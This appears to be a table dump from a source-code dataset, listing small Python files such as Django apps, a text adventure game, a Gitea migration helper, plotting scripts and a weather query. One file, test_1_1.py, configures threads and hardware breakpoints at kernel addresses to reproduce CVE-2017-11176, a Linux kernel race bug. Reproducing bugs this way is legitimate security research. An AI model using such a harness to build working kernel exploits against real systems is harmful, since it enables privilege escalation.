blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3f9b93cdc55810f2510840c677c58fcc3a808d26 | cd3fe9f814bbaab6a14749034e2c34963c9284c9 | /volttron/platform/vip/agent/subsystems/pubsub.py | 58fb2b778c266ffbca11d395a12333b8376a0f6f | [
"BSD-3-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"BSD-2-Clause"
] | permissive | SenHuang19/EnergyPlus-Volttron-Toolkit | 3b9d701238261e075936632b48cd661d42d0a85e | f89e68dc143e9ac01c2b07e975d21d64716bf876 | refs/heads/master | 2020-03-26T10:07:37.638443 | 2018-06-22T23:53:44 | 2018-06-22T23:53:44 | 144,782,102 | 0 | 0 | null | 2018-08-14T23:28:10 | 2018-08-14T23:28:10 | null | UTF-8 | Python | false | false | 37,846 | py | # -*- coding: utf-8 -*- {{{
# vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
#
# Copyright 2017, Battelle Memorial Institute.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www... | [
"hung.ngo@pnnl.gov"
] | hung.ngo@pnnl.gov |
49dc063d80f505f7e699aaf19c16fa6ce8fe89be | 9455ec60a7c0ba261d54b9ef11f3696fa803caa2 | /python/lab30_adventure.py | d53517e678d161f5daac488602f5b3e75406842f | [] | no_license | mschaeffer53/Marcel_CodeGuildPDX | b121d67fdb5b855671585a5b318a196d1048db13 | be0bb9068426bafd8d7e0d35307605c717e23dc3 | refs/heads/master | 2021-08-24T13:34:50.140916 | 2017-12-10T02:06:16 | 2017-12-10T02:06:16 | 105,681,781 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,084 | py | '''
Lab 30 - Adventure
Marcel Schaeffer
10/19/17
'''
import random
class World:
def __init__(self, width, height):
self.width = width
self.height = height
self.board = []
for j in range(height):
row = []
for i in range(width):
row.append('... | [
"mschaeffer53@gmail.com"
] | mschaeffer53@gmail.com |
56eaff9bde6e2ad0ac732fdca5d0c277d74df531 | 5406efefc14c37fa208cc0bb9e2e1593274422eb | /ourteamapp/migrations/0001_initial.py | 8deef5edb7fad0300b43d1ddd29ae2b4fb030e77 | [] | no_license | farahnaz555/dashboard_growdigital | a282ea9ed119c8d9d79acb427dafebac9117e396 | 5d3e0c0bfc3c3096bb5575049c5c6eee8fddf1ce | refs/heads/main | 2023-07-09T03:37:05.494596 | 2021-08-06T15:38:06 | 2021-08-06T15:38:06 | 393,120,040 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 789 | py | # Generated by Django 3.2.3 on 2021-06-21 14:19
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='ourteampage',
fields=[
('id', models.AutoFi... | [
"farah1708e@aptechgdn.net"
] | farah1708e@aptechgdn.net |
52828b658affa07a9e1619e45670fafca1b5997e | 5bb09bd1ac036219534b8f5049878322adfd8480 | /map.py | b2784dbbbef8e9b74f4a3cc9fe29554e621b7857 | [] | no_license | sugar-fiend-Rovin/corona | 2f8015949dc34250003f2667ed9b7e691dcef5ee | cab0df6629642acdadc76b6150d93e256640fb11 | refs/heads/master | 2020-12-26T16:25:28.618182 | 2020-02-02T02:33:30 | 2020-02-02T02:33:30 | 237,563,587 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 288 | py | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from pathlib import Path
#data_folder = Path("Documents/corona")
df = pd.read_scv('Documents/corona/coordinates.csv')
pd.head()
BBox = ((df.longitude.min(),df.longitude.max(), df.latitude.min(), df.latitude.max())
| [
"zbsun@uci.edu"
] | zbsun@uci.edu |
134ce7108496c28580e53f2d212661af43deceb1 | 5fcef220e0129a97907c649d030699f27e55ae9c | /webpage/urls.py | 34bfc7a19b05e0b21aed886f1fb37d1462296c27 | [
"MIT"
] | permissive | fmendesp/Gestao-Escolar | 3e35412d4610d6449d61b27a665c9b85895c95aa | a97052beb571a32619d4e6b6f5e7c3aae3bc8e9b | refs/heads/master | 2023-08-04T23:44:30.137388 | 2021-09-21T17:30:23 | 2021-09-21T17:30:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 563 | py | from django.urls import path
from django.views.generic.base import TemplateView
from webpage.views import (
IndexView,
IndexManagerView,
)
urlpatterns = [
path('', IndexView.as_view(), name='index'),
path('index-manager/', IndexManagerView.as_view(), name='index-manager'),
# path(
# 'robots.txt',
# TemplateV... | [
"it-an@hotmail.com"
] | it-an@hotmail.com |
5d1cb88fa75275344805c8e438afef54358aaf7b | 0b1b92e30893d4428b0e04342490da8aef121a65 | /Python/find_peak_element.py | 162886f43b6c6d0a6de053c773e2447a4969f82c | [] | no_license | miaojiang1987/LeetCode | 280dc892f8adbf8c18f30c180e76b045b3797f8c | d8f96b0ec1a85abeef1ce8c0cc409ed501ce088b | refs/heads/master | 2021-06-09T14:46:43.858955 | 2021-05-20T09:06:24 | 2021-05-20T09:06:24 | 155,755,065 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 410 | py | class Solution(object):
def findPeakElement(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
if not nums:
return None
l,r=0,len(nums)-1
while l<r:
mid=l+(r-l)//2
if nums[mid]>nums[mid+1]:
... | [
"miaojiang1987@gmail.com"
] | miaojiang1987@gmail.com |
7dad96fc604096e706171a718f70cd7e05aca358 | 719d8137d2a9fc31262e6a32009a64ec83c898e7 | /giteamigration/giteamigration.py | 5f602241d1203354de8725864f3db9e61d328d87 | [
"MIT"
] | permissive | amritanshu-pandey/migr82gitea | 1246e961cae114a45783226628c30971e99718dc | 8f1662904e8b56a44206a2057421edd71821112e | refs/heads/master | 2022-04-24T21:29:50.784005 | 2020-04-29T13:57:53 | 2020-04-29T14:03:13 | 255,304,851 | 0 | 0 | MIT | 2020-04-29T14:03:15 | 2020-04-13T11:16:12 | Python | UTF-8 | Python | false | false | 2,103 | py | from requests.exceptions import HTTPError
from mgsc.service import Gitea
class GiteaMigration:
def __init__(
self,
giteaurl,
giteauser,
giteapassword,
giteagroupname,
reponame,
repodescription,
sourcecloneurl,
sourceuser,
sourcesecre... | [
"amp.msit@gmail.com"
] | amp.msit@gmail.com |
52a747cd68eb8ffbc8fdc3b4fcd97956b3634654 | 6e1fc06786f5bdc52f99ea626ef31cbb1d7933dc | /lc_summary_reader.py | dc4f735ca02457f22785c904801580666f60ddcd | [] | no_license | Brian-Szutu/meteor_model | 058796a745eec150b5716807da1fba3a499d915f | c5b708ea4734bc8066b694d1b8a317a42443384c | refs/heads/master | 2022-03-04T07:13:16.371247 | 2019-09-18T02:27:33 | 2019-09-18T02:27:33 | 209,198,599 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,516 | py | # Imports the os module for path manipulation and
# numpy for mathematical arrays
import os
import numpy as np
def summary_reader(summary_dir):
"""
Accesses the SummaryMeteorLog.txt within a folder and finds
the meteor numbers, dates of detection, times of detection,
and the zenith angles of t... | [
"noreply@github.com"
] | noreply@github.com |
b9b660e8d71b96c5118429158097e6cd760de506 | a9d16b8cda003b10659493412088fd73bc83c279 | /main code/v13.py | 94a3d4104d4aeb30be4c7d1c15cb9d7569aa6836 | [] | no_license | tomhmoses/A-Level-Project | 8ee9e224bfacaf57c05a9893e215322e068b2356 | 7e048528e9a7064aa3546f20df9b6cd91d542710 | refs/heads/master | 2020-04-03T06:20:22.174668 | 2018-10-28T13:11:06 | 2018-10-28T13:11:06 | 155,072,128 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,997 | py | #===============================================================================
# Version 13
# Setting up a menu for easy testing.
#
# I have also changed the vertex.coordinates() to vertex.getCoordinates() for uniformity
# I have changed vertex.setXY() so that it now uses vertex.setX() and vertex.setY()
#===========... | [
"tom@tmoses.co.uk"
] | tom@tmoses.co.uk |
96ad1893d3e516f62393754e3ed8318b2bc83c84 | b166b6dad0e673c27ba120a7369da2ff31d88e55 | /users/migrations/0006_auto_20180524_2144.py | 5567fba63b30001fa59d666a3ce5c43069ec1f3e | [] | no_license | GoEBuy/bbk | 2b85658fe5053ada087f0e2681dd0c8627060622 | 14c952ef3b53734fd4aad88249efbe21cc3184a3 | refs/heads/master | 2022-11-25T02:49:35.263083 | 2020-01-31T11:39:22 | 2020-01-31T11:39:22 | 129,496,929 | 0 | 0 | null | 2022-11-22T02:58:44 | 2018-04-14T08:18:11 | HTML | UTF-8 | Python | false | false | 533 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.12 on 2018-05-24 13:44
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0005_auto_20180524_2138'),
]
operations = [
migrations.AlterField... | [
"energy1010@github.com"
] | energy1010@github.com |
bbab7940ab4615a4e2417310999b51020634e79d | 9afcf8bd88a7c36331905f77c31f3b264a6e14e7 | /test_1_1.py | 6bc9314d00cb730f42d53bfd44a155f10c9cd081 | [] | no_license | wasabbi/testcase | 72800c5f5a23c369c93f385c07040f0186912d9c | 774465d4ab2c88d184efddfae54fc2cfb760bb36 | refs/heads/master | 2021-01-08T23:37:11.717291 | 2020-02-29T17:25:58 | 2020-02-29T17:25:58 | 233,437,018 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,212 | py | import os
target = "./CVE-2017-11176"
thread1 = 0x4008d1
thread2 = 0x40087d
thread3 = 0x0 #CPU_index is 2
# hw_bp_addr sched __start_routine
hw_bp1 = [0xffffffff8114b13b, 1, 0x4008d1]
hw_bp2 = [0xffffffff8114ae1e, 2, 0x40087d]
hw_bp3 = [0x0, 0, 0x0]
#========The following need not be modified====... | [
"lee.yeb33@gmail.com"
] | lee.yeb33@gmail.com |
61ec1a7bde09a76501388142fcdee953fef884bb | 6a378987bf7fbd437d64d01d454c22ea09039e48 | /lib/test.py | 1936954f009a15a4e115040252891a372ef59b97 | [
"Apache-2.0"
] | permissive | qsvic/skstack | 4242ee773c1b5dafa6da9ef31470d1f42916ef46 | fe874f540a56297919533a955bc822071b234f5e | refs/heads/master | 2022-11-11T16:37:52.579089 | 2020-07-09T06:33:15 | 2020-07-09T06:33:15 | 278,256,729 | 0 | 0 | Apache-2.0 | 2020-07-09T03:48:27 | 2020-07-09T03:48:26 | null | UTF-8 | Python | false | false | 335 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
if __name__ == "__main__":
s1 = "{u'main_task': ('inner_var:\\u6211\\u662fzw\nmultiple_vars:a1\nmultiple_vars:a2\nsingle_var:6\n', None), u'post_task': ('inner_var:\\u6211\\u662fzw\nmultiple_vars:a1\nmultiple_vars:a2\nsingle_var:6\n', None)}"
print(s1.decode("un... | [
"encodingl@sina.com"
] | encodingl@sina.com |
f090f44be641494ca0230302acf7e0186346b3bf | 1e7ee9ad38540050368afb366b8cad30d7d0c0bb | /Aula 2/ex4.9.10.py | 07f3900597cf96d634a0a61930cbbbff119d24dc | [] | no_license | Duhamb/CES22-exercicios | 328a275d9314c9a09329ca3248af3fb6e517d825 | f4ae1fddd66cd32d943fbecffe21344705950f8e | refs/heads/master | 2021-04-27T07:59:02.299399 | 2018-07-02T11:34:16 | 2018-07-02T11:34:16 | 122,643,568 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 359 | py | import turtle
wn = turtle.Screen()
t = turtle.Turtle()
def star_draw():
#Função que desenha uma estrela de lado 100
t.hideturtle()
for i in range(5):
t.forward(100)
t.right(144)
def next_star():
t.penup()
t.forward(350)
t.right(144)
t.pendown()
for i in range(5):
star_... | [
"eduambarbosa@gmail.com"
] | eduambarbosa@gmail.com |
fe991005e55bbf9ba816645fed3e1d1ba2dedd41 | 9431f605327e307326a0f5b5db1be1b157c8948f | /blog/views.py | 622b90fe97125836e3f9c338deac0cae925c8c02 | [] | no_license | shihabmi7/BlogProject | 766f06afac247a549e393d4d7f407861e1fa882b | d4fa2561dc3ca2b306b3d2fac9c4032fe3729287 | refs/heads/master | 2023-03-01T10:48:29.587952 | 2021-02-03T04:23:26 | 2021-02-03T04:23:26 | 329,567,775 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 596 | py | from django.shortcuts import render
# Create your views here.
postList = [
{
'author': 'Shihab Uddin',
'title': 'Blog Post One',
'content': 'First Post Content',
'date_posted': 'January 12, 2021',
}, {
'author': 'Shihab Uddin',
'title': 'Blog Post Two',
... | [
"shihab@sharetrip.net"
] | shihab@sharetrip.net |
c73206196adef6a6cbbd874be821ac5a8864cb85 | 6ddd0bfe04fd9ed0c1596703c294dbec63f9685e | /libtim/test_im.py | ebab7b607dc5a266d491c719e832cb8ed52aec2a | [] | no_license | dboonz/libtim-py | 6cdd5859666206fca5aff8b3ca1542e04546ebfc | d15539f783c4740aec43f90d1483767b7e261ea5 | refs/heads/master | 2021-07-19T09:33:25.393086 | 2017-10-26T10:37:15 | 2017-10-26T10:37:15 | 108,401,566 | 0 | 1 | null | 2017-10-26T11:19:42 | 2017-10-26T11:19:42 | null | UTF-8 | Python | false | false | 10,388 | py | #!/usr/bin/env python
# encoding: utf-8
"""
@file test_im.py
@brief Test libtim.im
@author Tim van Werkhoven (werkhoven@strw.leidenuniv.nl)
@copyright Creative Commons Attribution-Share Alike license versions 3.0 or higher, see http://creativecommons.org/licenses/by-sa/3.0/
@date 20120806
Test libtim.im
"""
from im ... | [
"timvanwerkhoven@gmail.com"
] | timvanwerkhoven@gmail.com |
cdd3d79f2b210315c936ab38c927fc2aa4a96279 | 11661470ab8c64f61c472646de38513507ac7afa | /intersections.py | 843508a412ebf07520c6d2751bc2b1bd493f2d5b | [] | no_license | research555/Cooperative-Protein-Dynamics | 2a5fa87584bf2f3e124829a636b19f048564e411 | bafb14f3b1e92d5b52ad03c934a0aadb3a9e83c7 | refs/heads/main | 2023-02-05T09:56:43.470986 | 2020-12-30T14:58:23 | 2020-12-30T14:58:23 | 324,767,424 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,757 | py | import numpy as np
"""
Give, two x,y curves this gives intersection points,
author: Sukhbinder
5 April 2017
Based on: http://uk.mathworks.com/matlabcentral/fileexchange/11837-fast-and-robust-curve-intersections
"""
def _rect_inter_inner(x1, x2):
n1 = x1.shape[0]-1
n2 = x2.shape[0]-1
X1 = np.c_... | [
"noreply@github.com"
] | noreply@github.com |
2f32a514b57bc5af752bcdc8846453cf7451aa29 | aae60ac01b76e6c218bc0506b023010e42257501 | /day2/day2.py | 398b08d72c3a121cbb37865fe96cc8ad60c7e9f6 | [] | no_license | alntng/AOC2020 | e0169ea8748b482b2d2c27aa2a8f3099df53aec6 | bd50f1b183a66651a651c5c3b3f5a8e6e063bc77 | refs/heads/main | 2023-02-16T02:43:58.516174 | 2021-01-14T17:06:56 | 2021-01-14T17:06:56 | 317,567,882 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 766 | py | input = open('dayTwoInput.txt', 'r')
def validPasswords(passwords):
count = 0
for password in passwords:
rules = password.split(':')
char = rules[0][-1]
limits = rules[0][0:-1].split('-')
min = int(limits[0])
max = int(limits[1])
string = rules[1].strip()
... | [
"atang8013@gmail.com"
] | atang8013@gmail.com |
49eb43ca386cd25a4d52849f327db11a8f5ebac3 | 45a23a190153149e71af5684429c9af6b178836a | /observatory_gridded_meteorology.py | 342960f7daf8635711becc393f201b5d5756acce | [] | no_license | RondaStrauch/Scripts | 88028a0a8ebb2e5ac77d715e655feb1e0660603b | 5b5e9481dd3d74f321ce025407ccc9b2394fa168 | refs/heads/master | 2021-01-19T06:37:47.598739 | 2017-05-23T17:27:03 | 2017-05-23T17:27:03 | 87,471,250 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 22,306 | py |
# coding: utf-8
# # Wrangling libraries
# In[1]:
# Import python modules
import os
import os.path
import sys
import csv
import ftplib
import bz2
import pandas
import wget
print 'Version1 4/4/17'
# ## Define internal operations for downloading data
# In[1]:
# read in reference locations
def read_in_longlats(mapp... | [
"rstrauch@uw.edu"
] | rstrauch@uw.edu |
fedb95b0b5acaf1e7572ebe8497c3419dc03df40 | e15db3bf0d063462eb68862f41f205ccf879efd1 | /shap/explainers/sampling.py | 00641856a1b765f4c235f9ec85b26cbb76b6fe1d | [
"Apache-2.0",
"MIT"
] | permissive | domenVres/Robust-LIME-SHAP-and-IME | 5a3254d51708399fe624af832bed4e6f0ba7aa08 | 8c3853389a16938c9838db3a5d4bee71ccee79a3 | refs/heads/master | 2023-03-18T13:28:28.566386 | 2021-03-10T14:23:59 | 2021-03-10T14:23:59 | 298,831,942 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 16,870 | py | from ..common import convert_to_instance, convert_to_model, match_instance_to_data, match_model_to_data, convert_to_instance_with_index, convert_to_link, IdentityLink, convert_to_data, DenseData
from .kernel import KernelExplainer
import numpy as np
import pandas as pd
import logging
import math
from scipy.stats impor... | [
"56541137+domenVres@users.noreply.github.com"
] | 56541137+domenVres@users.noreply.github.com |
280ef9746c4ed0ee0513728f4b5d8d3ab3d2d34f | 1eb382ad4712721f646bf478fea747c928f47177 | /plot_perturbation_analysis.py | a542f264f5da6c4a9dff770b207998ac2e7f6258 | [
"MIT"
] | permissive | rmodi6/sentence-representations | ad8f03c6f4588020c1fcf6a691fc3b83ebae8e0f | 4124b8705002ce7188a0473c9840fef6befae0b5 | refs/heads/master | 2023-04-09T23:10:11.873093 | 2023-03-26T18:55:40 | 2023-03-26T18:55:40 | 215,374,321 | 0 | 1 | MIT | 2023-03-26T18:55:41 | 2019-10-15T18:56:57 | Python | UTF-8 | Python | false | false | 4,430 | py | import os
import json
import copy
# external libs imports
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
# project imports
from data import load_vocabulary, index_instances, generate_batches
from util import load_pretrained_model
if __name__ == '... | [
"modi.ruchit6@gmail.com"
] | modi.ruchit6@gmail.com |
daa83c2e2b67ebed41f749a58ed4c57fdc99a95e | 5f970781aacda6f9f42ba6656b00e4773512c8fd | /python_tests/python_reportlab_pdf.py | 03a29911d1e808851bcc300cbe7a0274ceac1058 | [
"Apache-2.0"
] | permissive | arasumran/python-basic-tutorial | 5f6c15c2718cfcfb1c7b73583f58def29cb7d870 | e3d08beef2001e611c142bc839701c25f3f0ef84 | refs/heads/master | 2023-08-14T15:30:36.824013 | 2021-02-08T18:58:40 | 2021-02-08T18:58:40 | 169,892,968 | 0 | 0 | Apache-2.0 | 2023-09-08T14:36:16 | 2019-02-09T17:29:02 | Python | UTF-8 | Python | false | false | 2,042 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import csv
from textwrap import wrap
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from reportlab.lib.pagesizes import letter
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.pdfgen import canvas
from reportlab.platypus import SimpleDocTemplate,... | [
"umran.aras@sekomyazilim.com.tr"
] | umran.aras@sekomyazilim.com.tr |
db3b755131efa69721d56e1d41c603b4b1493384 | a9685eb51cc2932a5675da41351a1a798514bb77 | /PongWithPygame.py | a0abafd199606bb116376a264fcdd0d214165a82 | [] | no_license | GrahamJoonsar/PongInPython | 3d1df578adfd97eb36329645a5a5e318178ad047 | 931a692c8352f3cf18ea1608d9545d55fef1e92f | refs/heads/main | 2023-03-08T01:16:09.606495 | 2021-02-21T19:34:16 | 2021-02-21T19:34:16 | 340,986,550 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,516 | py | import pygame, random
WHITE = (255, 255, 255)
RED = (255, 0, 0)
RandomList = [-1, 1]
pygame.init()
LeftScore = 0
RightScore = 0
master = pygame.display.set_mode((1250, 750))
NumberFont = pygame.font.SysFont("Comic Sans", 50)
pygame.display.set_caption("Pong!")
winner = " "
x1 = 1150
x2 = 100
y1 = 2... | [
"noreply@github.com"
] | noreply@github.com |
ab02865c85b4be8408ef44a5e63dde191abbd14c | 85cd0e131b08134082f266830b450a813e39f7f4 | /Neuronale_Netze/Hyperboloid.py | 8ba8890b847bcd17003b891f92153039b49f4a6f | [] | no_license | 1531169/GNN | 258e0dc89b56c21a5dffdb9a0bdb11f3cccb3cbe | cd65a8e1f11f1baeba4a977b726bea804a54e9f1 | refs/heads/master | 2020-03-07T07:22:17.696974 | 2019-12-28T01:12:51 | 2019-12-28T01:12:51 | 127,347,331 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,861 | py | from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.cm as cm
# here is a function to calculate the z for a (x,y) pair
def get_z(x, y, width, height):
# opens downward
c = float(height) # -
# circular so same width in both directions
x2 = (x ** 2... | [
"1531169@stud.hs-mannheim.de"
] | 1531169@stud.hs-mannheim.de |
d6bc3bd22fd925b63862ef337dff943bfb08c474 | ebe9df92da4592ff5324395b5eafb6045930e945 | /magna/shop/tests/views.py | 050a55e0b3572c5187167ab92c21007d2f82be24 | [] | no_license | raulcd/django-test-shop | 6824b60ef9873d83e62d46f06110ac6d4b3d5657 | 284df8f8e09280d7b58b7e5a940c80901cf01046 | refs/heads/master | 2021-01-22T14:33:22.702888 | 2012-02-22T12:27:07 | 2012-02-22T12:27:07 | 1,460,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,724 | py | #-*- coding: utf-8 -*-
from django.utils import unittest
from django.test import TestCase
from django.test.client import Client
class CreateShopTestCase(TestCase):
def test_01_submit_form_without_data(self):
response = self.client.get('/register/')
self.assertEquals(response.status_code, 200)
... | [
"raulcumplido@gmail.com"
] | raulcumplido@gmail.com |
378212f5adad21f217e3405bfae21dc5698b501b | 2d7080e655bd394fd3c84b526f3614b69fcd536e | /VA-API/script2.py | 0f5668d01ae182df7a7cc51cc4064dd209ce3bde | [] | no_license | amudide/covid-sociodemographics | 202283eaf82861089a7a00f14d5123bc07d32548 | 0dbe57b9a20265bdbc9d992763ae31525bbf9cd1 | refs/heads/master | 2022-12-20T01:29:15.553190 | 2020-10-06T20:11:18 | 2020-10-06T20:11:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,011 | py | import requests
import json
def main():
counter = 0
num_bad = 0
with open('healthcenters.txt') as json_file:
data1 = json.load(json_file)
for center in data1['data']:
print(counter)
base = "https://sandbox-api.va.gov/services/va_facilities/v0/facilities/" + center
... | [
"amudide@gmail.com"
] | amudide@gmail.com |
e7e5249a3be2ba6c8a653ccfac4c01d2bf8a1bc6 | 3021d830910efe3379e8c169eee0e86a71ef99bc | /array.py | ec34f776a957e5eb802aaf3e9a1f5daf0356194b | [] | no_license | sidchilling/Programming-Practice | ddd61bb88b6f6c26ebe3e1a7c7f581c53b948784 | 52378390a5d098b1eb6fd0702d2c46c2efbb7a66 | refs/heads/master | 2021-04-30T17:27:58.029733 | 2017-02-07T07:43:57 | 2017-02-07T07:43:57 | 80,218,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 284 | py |
def solution(A):
left_sum = 0
right_sum = sum(A)
for i in range(len(A)):
right_sum = right_sum - A[i]
if right_sum == left_sum:
return i
left_sum = left_sum + A[i]
return -1
if __name__ == '__main__':
print solution(A = [-1, 3, -4, 5, 1, -6, 2, 1])
| [
"siddharthsaha@Webonises-Macbook-Pro.local"
] | siddharthsaha@Webonises-Macbook-Pro.local |
2cd28503b16ca2446317cca7e26f3068b1e06576 | c21100f6aa52f985113545ba182de5ddfdac3717 | /pythonzoo/zoo/views.py | 2a04d9cf2a62d6fb215d1d63a082869d765bbf15 | [
"MIT"
] | permissive | zbaker5/Spring2018PythonZoo | 93410bd3e61201a2c2086161983292cdb5e7bc4f | ee74ce374d6943ff7e5757b1799e1e054a173b65 | refs/heads/master | 2020-03-12T16:01:02.586523 | 2018-05-07T04:09:01 | 2018-05-07T04:09:01 | 130,704,692 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 627 | py | from django.shortcuts import render
from django.views import generic
from .models import Zoo, Exhibit, Animal
# Create your views here.
def aboutus(request):
temporaryData = "Zach"
return render(
request,
"zoo/aboutus.html",
context = { },
)
def contactus(request):
temporaryData = "Zach"
return render... | [
"zachary.baker057@gmail.com"
] | zachary.baker057@gmail.com |
c39de6e9a94725fff146856e5d3936f624e6f8d9 | 4b70b2dfd40e04d4b691064d169117c12c3a4343 | /处理期货日频数据/大商所和郑期所抓取的日线数据清洗.py | b86ad822b70c2cd8fec6cce1cce820685271cc4f | [] | no_license | Yiran13/Intern-codes-MxCapital | 6e91bcbd72da3696fde8abed8cfa1773d20ec036 | fc530feadd888a38d38802f2c0f890ea4ace0e7d | refs/heads/master | 2022-11-11T17:13:40.958449 | 2020-07-02T16:42:22 | 2020-07-02T16:42:22 | 276,698,088 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,579 | py | import pandas as pd
import numpy as np
import os
import re
import requests
import xlwt
import os
import json
import tushare as ts
df=pd.read_csv('D:/1_min_data/AL_1min_open.csv')
whole_date_list=df.iloc[:,0].tolist()
path=r'D:/大商所日频数据抓取/'
contract_dict={'豆一':'a',
'豆二':'b',
'豆粕':'m',
'豆油':'y',
'棕榈油':'p',
'玉米':'c',
'玉米淀... | [
"313526807@qq.com"
] | 313526807@qq.com |
cdd9f6ebbfe14666c0f3cb3386f1059e5c483f69 | 5f15fa790015ac39aa22a0a8e7caaa2bcf01b4f2 | /blogu/migrations/0006_auto_20150811_1729.py | 74c2666a9fdf034e27ef735decc42d9ffe297532 | [] | no_license | nitingera1996/pd | 26c28521289a52a44314298d3a5894fe81bd42b5 | f73388428a659f0539424e6e84bf01b9679fa832 | refs/heads/master | 2023-01-12T01:51:29.878023 | 2016-01-07T04:51:44 | 2016-01-07T04:51:44 | 40,669,847 | 2 | 4 | null | 2022-12-26T19:56:52 | 2015-08-13T16:33:41 | Python | UTF-8 | Python | false | false | 410 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('blogu', '0005_auto_20150811_1728'),
]
operations = [
migrations.AlterField(
model_name='blog',
name=... | [
"nitingera1996@yahoo.in"
] | nitingera1996@yahoo.in |
75769b77e4341042b1aebeac586a2b46403aecd8 | 307939a14bd837b67ebf18b28a99aa2ad9755d18 | /app_user_login/migrations/0002_users_birthdate.py | dcc3e72027f14118d5113f6a0934585363a9068b | [] | no_license | raqueloropeza/Django_LoginAndRegistration | 3c4d37742c09f5f4f442154251cf81ddf159cba6 | 89b63ded8c60a5b21cd3de0f84c1aed662e29d3b | refs/heads/master | 2023-05-07T19:37:00.592985 | 2021-06-03T16:55:30 | 2021-06-03T16:55:30 | 373,557,494 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | py | # Generated by Django 2.2.4 on 2021-02-25 15:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app_user_login', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='users',
name='birthdate',
... | [
"rockuzaki@gmail.com"
] | rockuzaki@gmail.com |
e2208285dfa799735f88fc7596ee2bd56432302f | 2d49ccc8d4a281abca71169e5d5834e4324f215e | /CrackingTheCodeInterview/ArraysAndStrings/1.9_string_rotation.py | 34eb807d5ed1e22e21668a87b3bfb286f62db42c | [] | no_license | tahir24434/py-ds-algo | b87a163a79914323e116d7fe4a95a4cbbe811a05 | fdb110e14acfd8fc41cf412f2d4b1f29a4d3f136 | refs/heads/master | 2021-09-10T21:35:41.510670 | 2018-04-02T17:28:35 | 2018-04-02T17:28:37 | 113,406,747 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 638 | py | """
Assume that you have a method isSubstring which checks if one word is a substring of another.
Given two strings, s1 and s2, write code to check if s2 is a rotation of s1 using only one call
to isSubstring (e.g, "waterbottle" is rotation of "erbottlewat")
Note: https://stackoverflow.com/questions/35220418/runtime-... | [
"trauf@vmware.com"
] | trauf@vmware.com |
b26baf5d67b85a511a6b942d78af2cb10ca51f02 | 620323fc090cebaf7aca456ff3f7fbbe1e210394 | /weather__yahoo.py | 6c01d6686eaff44c12a67e3dd687dc0531713f44 | [
"CC-BY-4.0"
] | permissive | gil9red/SimplePyScripts | bd2733372728bf9b9f00570e90316fa12116516b | 773c2c9724edd8827a1dbd91694d780e03fcb05a | refs/heads/master | 2023-08-31T04:26:09.120173 | 2023-08-30T17:22:59 | 2023-08-30T17:22:59 | 22,650,442 | 157 | 46 | null | 2023-09-08T17:51:33 | 2014-08-05T16:19:52 | Python | UTF-8 | Python | false | false | 973 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = "ipetrash"
import requests
city = "Магнитогорск"
# # OR:
# city = 'Magnitogorsk'
url = (
"https://query.yahooapis.com/v1/public/yql?q=select item from weather.forecast where woeid in "
"(select woeid from geo.places(1) where text='{city}') and u='... | [
"ilya.petrash@inbox.ru"
] | ilya.petrash@inbox.ru |
